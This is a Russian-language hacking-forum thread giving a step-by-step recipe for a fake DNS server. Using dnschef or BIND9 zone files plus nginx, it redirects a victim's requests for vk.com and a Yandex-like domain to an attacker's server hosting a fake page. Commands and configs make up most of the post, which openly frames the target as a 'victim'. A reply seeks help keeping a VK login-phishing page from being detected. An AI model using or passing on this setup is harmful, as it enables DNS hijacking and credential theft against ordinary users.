Фейковый DNS-сервер

Тема в разделе "Взлом и уязвимости", создана пользователем evaporator, 29 окт 2016.

  1. evaporator

    evaporator

    Сообщения:
    208
    Баллы:
    16
    Итак, для начала нужно разобраться, что же такое DNS. Так вот, Domain Name Server служит для перевода доменных имён в ip-адреса и наоборот, ведь браузер грузит непосредственно с ip, предварительно обратившись к обсуждаемому в статье серверу, чтобы перевести введённый вами адрес (прим. vk.com) в ip сервера вида 255.255.255.255, чтобы уже с него получить страницу. И если, например, в роутере заменить DNS на свой фейк, то вместо сайта, запрошенного жертвой, отобразится то, что захотим мы.
    Для начала нужно заиметь SSH-сервер, либо VDS/VPS на линуксе. Особо не копая, нашел два способа совершить сие злодеяние.

    Первый способ (Скрипт Python)
    Качаем архив со скриптом
    Код:
    wget https://thesprawl.org/media/projects/dnschef-0.3.zip
    Распаковываем
    Код:
    unzip dnschef-0.3.zip
    Переходим в распакованную папку
    Код:
    cd /home/[путь]/dnschef
    Разрешаем скрипту быть выполняться
    Код:
    chmod 755 *.py
    Ставим модули
    Код:
    pip install dnslib
    pip install IPy
    Создаем файлик hosts.txt, в него пишем
    Код:
    [A]
    huyandex.ru=IP_TВОЕГО_VPS
    Запускаем. убедившись, что 53 порт не занят и запущен апач с фейком.

    Код:
    ./dnschef.py -i 0.0.0.0 --logfile=log.txt --file=hosts.txt
    Твой DNS работает. Возврашает адреса, но только на запрос huyandex.ru отдает ваш IP_TВОЕГО_VPS

    Если нужно оставить скрипт работать и выйти с vps, то запускайте через screen или nohup.

    В качестве запасного DNS рекомендую использовать реальный (8.8.8.8), так, на всякий случай.

    p.s. В пакете есть скомпиленая версия под Windows ей не нужны дополнительные модули и питон.
    Можно просто запустить на дедике.


    Способ номер 2 (BIND)
    Устанавливем BIND9
    Код:
    apt-get install bind9
    Настраиваем bind

    Файл /etc/bind/named.conf.options

    Код:
    options {
    directory "/var/cache/bind";
    auth-nxdomain no;
    listen-on-v6 { none; } ;
    forwarders {
    192.168.1.1;
    8.8.8.8;
    };
    forward first; #
    };
    Файл /etc/bind/named.conf.local

    Код:
    zone "vk.com" {
    type master;
    file "/etc/bind/db.com";
    };
    zone "1.168.192.in-addr.arpa" {
    type master;
    file "/etc/bind/1.168.192.in-addr.arpa.zone";
    };
    Создадим файлы /etc/bind/db.com
    Код:
    $TTL 30
    $ORIGIN vk.com.
    @ IN SOA ns1.vk.com. root.vk.com. (
    2014110300
    1h
    1h
    1h
    1h
    );
    @ IN NS ns1.vk.com.
    @ IN A 192.168.1.104
    vk IN A 192.168.1.104
    ns1 IN A 192.168.1.1
    Файл /etc/bind/1.168.192.in-addr.arpa.zone

    Код:
    $TTL 30
    $ORIGIN 1.168.192.in-addr.arpa.
    @ IN SOA ns1.vk.com. root.vk.com. (
    2014110301
    1h
    1h
    1h
    2h
    );
    NS ns1.vk.com.
    1 PTR ns1.vk.com.
    2 PTR vk.com.
    Файл /etc/default/bind9
    Код:

    ...
    RESOLVCONF=yes
    ...
    Перезапускаем bind

    Код:
    /etc/init.d/bind9 restart

    Ставим nginx
    Код:
    apt-get install nginx
    Теперь можно прописывать наш злобный днс жертве. Вместо vk.com будет загружаться страница приветствия nginx'a.
    Это если по http – не проблема! Видим произвольный сайт и http://vk.com в браузере. А что, если у нас https? Тогда будет не найдена страница. Почему? Да потому что nginx у нас слушает только 80 порт, а не 443. Будем исправлять.

    Код:
    nano /etc/nginx/conf.d/default.conf/CODE]

    добавляем новый инстанс сервера:
    Код:
    server {
    listen 443;
    server_name vk.com;
    ssl on;
    ssl_certificate /etc/nginx/ssl/server.crt;
    ssl_certificate_key /etc/nginx/ssl/server.key;
    rewrite ^(.*) http://vk.com$1 permanent;
    }
    Про то, как заливать свой фейковый сайт, ищите в гугле. Спасибо за внимание.
  2. inv1s1ble

    inv1s1ble

    Сообщения:
    38
    Баллы:
    6
    Вот еще есть .exe версия dnschef дабы не устраивать танцы с бубном вокруг питона.
    dnschef.zip
  3. NIK510

    NIK510

    Сообщения:
    1
    Баллы:
    1
    Мой фейк при вводе логина/пароля перебрасывает на реальную страницу логина ВК. Но ведь из-за вышеприведенного способа она блокируется и люто палит горе-хакера. Как это обойти?

Поделиться этой страницей